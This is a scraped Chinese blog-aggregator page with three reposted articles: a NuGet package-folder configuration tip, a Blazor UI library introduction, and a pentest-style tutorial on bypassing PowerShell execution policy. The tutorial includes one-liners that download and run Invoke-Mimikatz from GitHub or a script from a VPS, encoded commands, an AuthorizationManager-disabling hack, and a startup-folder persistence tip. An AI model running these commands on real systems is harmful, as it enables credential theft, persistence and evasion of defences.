    nuget 配置中有一個 globalPackagesFolder 的配置,是用來指定默認的 nuget 包保存的位置,在 Windows 上默認的保存位置是 %userprofile%\.nuget\packages,在 Linux/Mac 上默認的保存位置是 ~/.nuget/packages,可以使用 nuget.configNuGet.Config 配置文件來修改默認的保存文件,除此之外,還可以通過環境變量的方式,配置 NUGET_PACKAGES 來修改默認 nuget 包保存的位置

    默認配置文件

    nuget 配置的默認配置文件,官方文檔:https://docs.microsoft.com/en-us/nuget/reference/cli-reference/cli-ref-config#options

    Windows 上默認配置文件的位置是 %AppData%\NuGet\NuGet.Config 這也是現在網上那些修改默認保存 nuget 包位置的解決方案,
    Linux/Mac 上大多是 ~/.config/NuGet/NuGet.Config,有的可能是 ~/.nuget/NuGet/NuGet.Config(和系統版本有關係)

    Windows 上默認是沒有這個配置文件的,添加這個默認配置文件之後就是全局作用的

    創建 %AppData%\NuGet\NuGet.Config 這個默認的配置文件,然後在這個配置文件里配置 globalPackagesFolder 來修改默認的 nuget 包保存路徑

    示例:

    <?xml version="1.0" encoding="utf-8"?>
    <configuration>
      <packageSources>
        <add key="nuget.org" value="https://api.nuget.org/v3/index.json" />
      </packageSources>
      <config> 
        <add key="globalPackagesFolder" value="D:\nuget\packages" />
      </config>
    </configuration>
    

    Reference

    • https://docs.microsoft.com/en-us/nuget/reference/nuget-config-file#config-section
    • https://docs.microsoft.com/en-us/nuget/reference/cli-reference/cli-ref-config

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※帶您來了解什麼是 USB CONNECTOR  ?

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    ※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

    ※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※教你寫出一流的銷售文案?

  • 繞過PowerShell執行策略方法

    繞過PowerShell執行策略方法

    前言:

    默認情況下,PowerShell配置為阻止Windows系統上執行PowerShell腳本。對於滲透測試人員,系統管理員和開發人員而言,這可能是一個障礙,但並非必須如此。

     

    什麼是PowerShell執行策略?

    PowerShell execution policy 是用來決定哪些類型的PowerShell腳本可以在系統中運行。默認情況下,它是“Restricted”(限制)的。然而,這個設置從來沒有算是一種安全控制。相反,它會阻礙管理員操作。這就是為什麼我們有這麼多繞過它的方法。

     

    為什麼我們要繞過執行政策?

    因為人們希望使用腳本實現自動化操作,powershell為什麼受到管理員、滲透測試人員、黑客的青睞,原因如下:

    Windows原生支持
    能夠調用Windows API
    能夠運行命令而無需寫入磁盤(可直接加載至內存,無文件落地)
    能夠避免被反病毒工具檢測
    大多數應用程序白名單解決方案已將其標記為“受信任”
    一種用於編寫許多開源Pentest工具包的媒介

     

    如何查看執行策略

    在能夠使用所有完美功能的PowerShell之前,攻擊者可以繞過“Restricted”(限制)execution policy。你可以通過PowerShell命令“executionpolicy“看看當前的配置。如果你第一次看它的設置可能設置為“Restricted”(限制),如下圖所示:

    Get-ExecutionPolicy

     

     

    同樣值得注意的是execution policy可以在系統中設置不同的級別。要查看他們使用下面的命令列表。更多信息可以點擊這裏查看微軟的“Set-ExecutionPolicy” 。

    Get-ExecutionPolicy -List | Format-Table -AutoSize

     

     

    我們先將powershell執行策略設置為Restricted(限制),方便進行後續測試繞過PowerShell Execution Policy。

    Set-ExecutionPolicy Restricted

     

     

    繞過PowerShell執行策略

    1、直接在Interactive PowerShell控制台中輸入powershell代碼
    複製並粘貼你的PowerShell腳到一個交互式控制台,如下圖所示。但是,請記住,你將受到當前用戶權限限制。這是最基本的例子,當你有一個交互控制台時,可以方便快速地運行腳本。此外,這種技術不會更改配置或需要寫入磁盤。

    Write-Host “It’s run!”;

     

     

    2、echo腳本並將其通過管道傳遞到PowerShell
    簡單的ECHO腳本到PowerShell的標準輸入。這種技術不會導致配置的更改或要求寫入磁盤。

    Echo Write-Host “It’s run!” | PowerShell.exe -noprofile –

     

     

    3、從文件讀取腳本並通過管道傳輸到PowerShell
    使用Windows的”type”命令或PowerShell的”Get-Content”命令來從磁盤讀取你的腳本並輸入到標準的PowerShell中,這種技術不會導致配置文件的更改,但是需要寫入磁盤。然而,如果你想試圖避免寫到磁盤,你可以從網絡上遠程讀取你的腳本。

    例1:Get-Content Powershell命令

    Get-Content .\demo.ps1 | PowerShell.exe -noprofile –

     

     

    例2:Type 命令

    type .\demo.ps1 | PowerShell.exe -noprofile –

     

     

    4、從遠程下載腳本並通過IEX執行
    這種技術可以用來從網上下載一個PowerShell腳本並執行它無需寫入磁盤。它也不會導致任何配置更改。

    powershell -nop -c “iex(New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/Micr067/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1’)”

    如無法使用github下載可換vps:

    powershell -nop -c “iex(New-Object Net.WebClient).DownloadString(‘http://182.xxx.xxx.156:10001/demo.ps1’)”

     

     

    5、使用使用command命令
    這種技術和通過複製和粘貼來執行一個腳本是非常相似的,但它可以做沒有交互式控制台。這是很好的方式適合執行簡單的腳本,但更複雜的腳本通常容易出現錯誤。這種技術不會導致配置更改或要求寫入磁盤。

    例1:完整的命令

    Powershell -command “Write-Host “Its run!””;

     

     

    示例2:簡短命令(-c)

    Powershell -c “Write-Host “It’s run!’”

    可能還值得注意的是,您可以將這些類型的PowerShell命令放入批處理文件中,並將它們放入自動運行的位置(如所有用戶的啟動文件夾),以在權限提升期間提供幫助。

     

     

    6、使用EncodeCommand命令
    這和使用”Command”命令非常像,但它為所有的腳本提供了一個Unicode / Base64編碼串。通過這種方式加密你的腳本可以幫你繞過所有通過”Command”執行時會遇到的錯誤。這種技術不會導致配置文件的更改或要求寫入磁盤。

    例1: 完整的命令

    $command = “Write-Host ‘Its run!’”

    $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

    $encodedCommand = [Convert]::ToBase64String($bytes)

    $encodedCommand

    powershell.exe -EncodedCommand $encodedCommand

     

     

    示例2:通過簡短的命令使用編碼字符串

    powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcASQB0AHMAIAByAHUAbgAhACcA

     

     

    7、使用Invoke-Command命令
    這是一個典型的通過交互式PowerShell控制台執行的方法。但最主要的是當PowerShell遠程處理開啟時我們可以用它來對遠程系統執行命令。這種技術不會導致配置更改或要求寫入磁盤。

    Invoke-command -scriptblock {Write-Host “Its run!”}

     

     

    8、下面的命令還可以用來抓取從遠程計算機的execution policy並將其應用到本地計算機。

    Invoke-command -computername PAYLOAD\WIN-DC -scriptblock {get-executionpolicy} | set-executionpolicy -force

    這種方式經測試不可行。

    域環境下:

     

    工作組下:

     

     

    9、使用Invoke-Expression命令
    這是另一個典型的通過交互式PowerShell控制台執行的方法。這種技術不會導致配置更改或要求寫入磁盤。下面我列舉了一些常用的方法來通過Invoke-Expression繞過execution policy。

    例1:使用Get-Content的完整命令

    Get-Content .\demo.ps1 | Invoke-Expression

     

     

    示例2:使用Get-Content的簡短命令

    GC .\demo.ps1 | iex

     

     

    10、使用“Bypass”繞過Execution Policy
    當你通過腳本文件執行命令的時候這是一個很好的繞過execution policy的方法。當你使用這個標記的時候”沒有任何東西被阻止,沒有任何警告或提示”。這種技術不會導致配置更改或要求寫入磁盤。

    PowerShell.exe -ExecutionPolicy Bypass -File .\demo.ps1

     

     

    11、使用“Unrestricted”標記Execution Policy
    這類似於”Bypass”標記。當你使用這個標記的時候,它會”加載所有的配置文件並運行所有的腳本。如果你運行從網上下載的一個未被簽名的腳本,它會提示你需要權限”,這種技術不會導致配置的更改或要求寫入磁盤。

    PowerShell.exe -ExecutionPolicy UnRestricted -File .\demo.ps1

     

     

    12、使用“Remote-Signed”標記Execution Policy
    要想繞過執行限制,需要按照如下教程操作對腳本進行数字簽名。

    詳細參考:https://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html

    直接使用Remote-signed標記腳本無法運行的

    PowerShell.exe -ExecutionPolicy Remote-signed -File .\demo.ps1

     

     

    13、通過交換AuthorizationManager禁用ExecutionPolicy
    下面的函數可以通過一個交互式的PowerShell來執行。一旦函數被調用”AuthorizationManager”就會被替換成空。最終結果是,接下來的會話基本上不受execution policy的限制。然而,它的變化將被應用於會話的持續時間。

    function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield(“_context”,”nonpublic,instance”).getvalue( $executioncontext)).gettype().getfield(“_authorizationManager”,”nonpublic,instance”).setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager “Microsoft.PowerShell”))}

    Disable-ExecutionPolicy

    .\demo.ps1

     

     

    13、把ExcutionPolicy設置成Process Scope
    執行策略可以應用於多層次的。這包括你控制的過程。使用這種技術,執行策略可以被設置為您的會話的持續時間不受限制。此外,它不會導致配置更改或需要寫入到磁盤。

    Set-ExecutionPolicy Bypass -Scope Process

     

     

    14、通過命令設置ExcutionPolicy為CurrentUser Scope
    這種方法和上面那種類似。但是這種方法通過修改註冊表將當前用戶環境的設置應用到當前用戶的環境中。此外,它不會導致在配置更改或需要寫入到磁盤。

    Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

     

     

    15、通過註冊表設置ExcutionPolicy為CurrentUser Scope
    在這個例子中,展示了如何通過修改註冊表項來改變當前用戶的環境的執行策略。

    HKEY_CURRENT_USER\Software\MicrosoftPowerShell\1\ShellIds\Microsoft.PowerShell

     

     

    總結總結

    使用的execution policy可以幫助我們繞過powershell默認的限制,方便我們對windows更加靈活的管理。微軟從來沒有打算將這種限製作為一種安全控制。這就是為什麼有這麼多方式可以繞過它。

     

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※為什麼 USB CONNECTOR 是電子產業重要的元件?

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※台北網頁設計公司全省服務真心推薦

    ※想知道最厲害的網頁設計公司"嚨底家"!

    ※推薦評價好的iphone維修中心

  • .NET進行客戶端Web開發又一利器 – Ant Design Blazor

    .NET進行客戶端Web開發又一利器 – Ant Design Blazor

    你好,我是Dotnet9,繼上篇介紹Bootstrap風格的BlazorUI組件庫后,今天我來介紹另一款Blazor UI組件庫:一套基於 Ant Design 和 Blazor 的企業級組件庫。

    本文導航:

    • 一、關於Ant Design Blazor
    • 二、Ant Design Blazor的社區貢獻
      • 2.1 項目關注度
      • 2.2 Ant Design官方認可
      • 2.3 微軟官方認可
    • 三、Ant Design Blazor UI庫介紹
    • 四、Ant Design Blazor後續計劃
    • 五、Ant Design Blazor技術交流

    一、關於Ant Design Blazor

    項目名稱:Ant Design Blazor

    項目作者:James Yeung(社區發起者,目前項目參与度高,有較多貢獻者)

    開源許可協議:MIT

    項目地址:https://github.com/ant-design-blazor/ant-design-blazor

    特性

    • 提煉自企業級中後台產品的交互語言和視覺風格。
    • 開箱即用的高質量 Blazor 組件,可在多種託管方式共享。
    • 支持基於 WebAssembly 的客戶端和基於 SignalR 的服務端 UI 事件交互。
    • 支持漸進式 Web 應用(PWA)
    • 使用 C# 構建,多範式靜態語言帶來高效的開發體驗。
    • ️ 基於 .NET Standard 2.1,可直接引用豐富的 .NET 類庫。
    • 可與已有的 ASP.NET Core MVC、Razor Pages 項目無縫集成。

    關於開源協議:MIT

    參考百度百科

    被授權人權利

    被授權人有權利使用、複製、修改、合併、出版發行、散布、再授權及販售軟件及軟件的副本。
    
    被授權人可根據程序的需要修改授權條款為適當的內容。
    

    被授權人義務

    在軟件和軟件的所有副本中都必須包含版權聲明和許可聲明。
    

    其他重要特性

    此授權條款並非屬copyleft的自由軟件授權條款,允許在自由/開放源碼軟件或非自由軟件(proprietary software)所使用。
    
    MIT的內容可依照程序著作權者的需求更改內容。此亦為MIT與BSD(The BSD license, 3-clause BSD license)本質上不同處。
    
    MIT條款可與其他授權條款並存。另外,MIT條款也是自由軟件基金會(FSF)所認可的自由軟件授權條款,與GPL兼容。
    

    二、Ant Design Blazor的社區貢獻

    該庫是國內目前社區宣傳度做的最好的一款Blazor UI組件庫,對於Blazor的社區推廣起到很大的作用,Dotnet9是通過該庫作者的一篇文章《如何用 Blazor 實現 Ant Design 組件庫?》開始關注Blazor的,關於該庫作者的心路歷程,大家可點擊原文了解。

    距離作者發文已有3月之久,文中作者的部分期望應該說是實現了一個個小目標了,也體現在了對社區的貢獻上(對Blazor推廣作用):

    2.1 項目關注度

    作者將庫發布在Github上,README支持中英文,日常代碼提交使用英文,讓全球的.Neter參与其中,使得更多的社區成員開始關注Ant Design Blazor,也使得更多的社區成員開始關注Blazor的發展了。

    庫作者發文時star統計(2020年03月21日)

    3個月後的今天star統計(2020年06月20日)

    2.2 Ant Design官方認可

    原文作者的小期望:

    在為了與官方高度一致上的努力,還會繼續。希望有一天能在豐富 Blazor 生態的同時,還能成為被 Ant Design 生態認可的框架實現,能成為他們 Design 夢的一個延續。

    Ant Design官方前端實現介紹鏈接

    2.3 微軟官方認可

    微軟Build2020開發者大會Blazor介紹中,提及Ant Design Pro。

    一圖勝千言,得到微軟認可是對作者最大的獎勵,也是對社區的最好宣傳。

    三、Ant Design Blazor UI庫組件介紹

    Ant Design Blazor UI組件瀏覽地址:https://ant-design-blazor.github.io/

    Ant Design Blazor的開發初衷是盡量與Ant Design組件庫一致,可對比查看:Ant Design

    下面只對部分組件截圖介紹,更多組件請戳上面鏈接查看:

    3.1 首頁介紹

    網站風格和Ant Design官網高度一致,更方便熟悉Ant Design組件的朋友使用。

    3.2 組件概覽

    組件整體印象,這隻是其中一部分,豐富的組件需要點擊Ant Design Blazor了解更多喲。

    四、Ant Design Blazor後續計劃

    目前組件開發基本已經完成,可應用於常規項目開發,組件庫後續計劃:

    • 6月底發布0.1版本;
    • 添加測試、完善文檔、企業級應用和反饋;
    • 完成一個開箱即用的模板(偉大目標,像Ant Design Pro靠攏);
    • 添加頁面生成工具,類似UMI添加block,查看Ant Design的區塊介紹。

    五、Ant Design Blazor技術交流

    • 微信群
      可添加作者微信號拉你入群:JamesYeungMVP

    • 釘釘群

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

    台北網頁設計公司這麼多該如何選擇?

    ※智慧手機時代的來臨,RWD網頁設計為架站首選

    ※評比南投搬家公司費用收費行情懶人包大公開

    ※回頭車貨運收費標準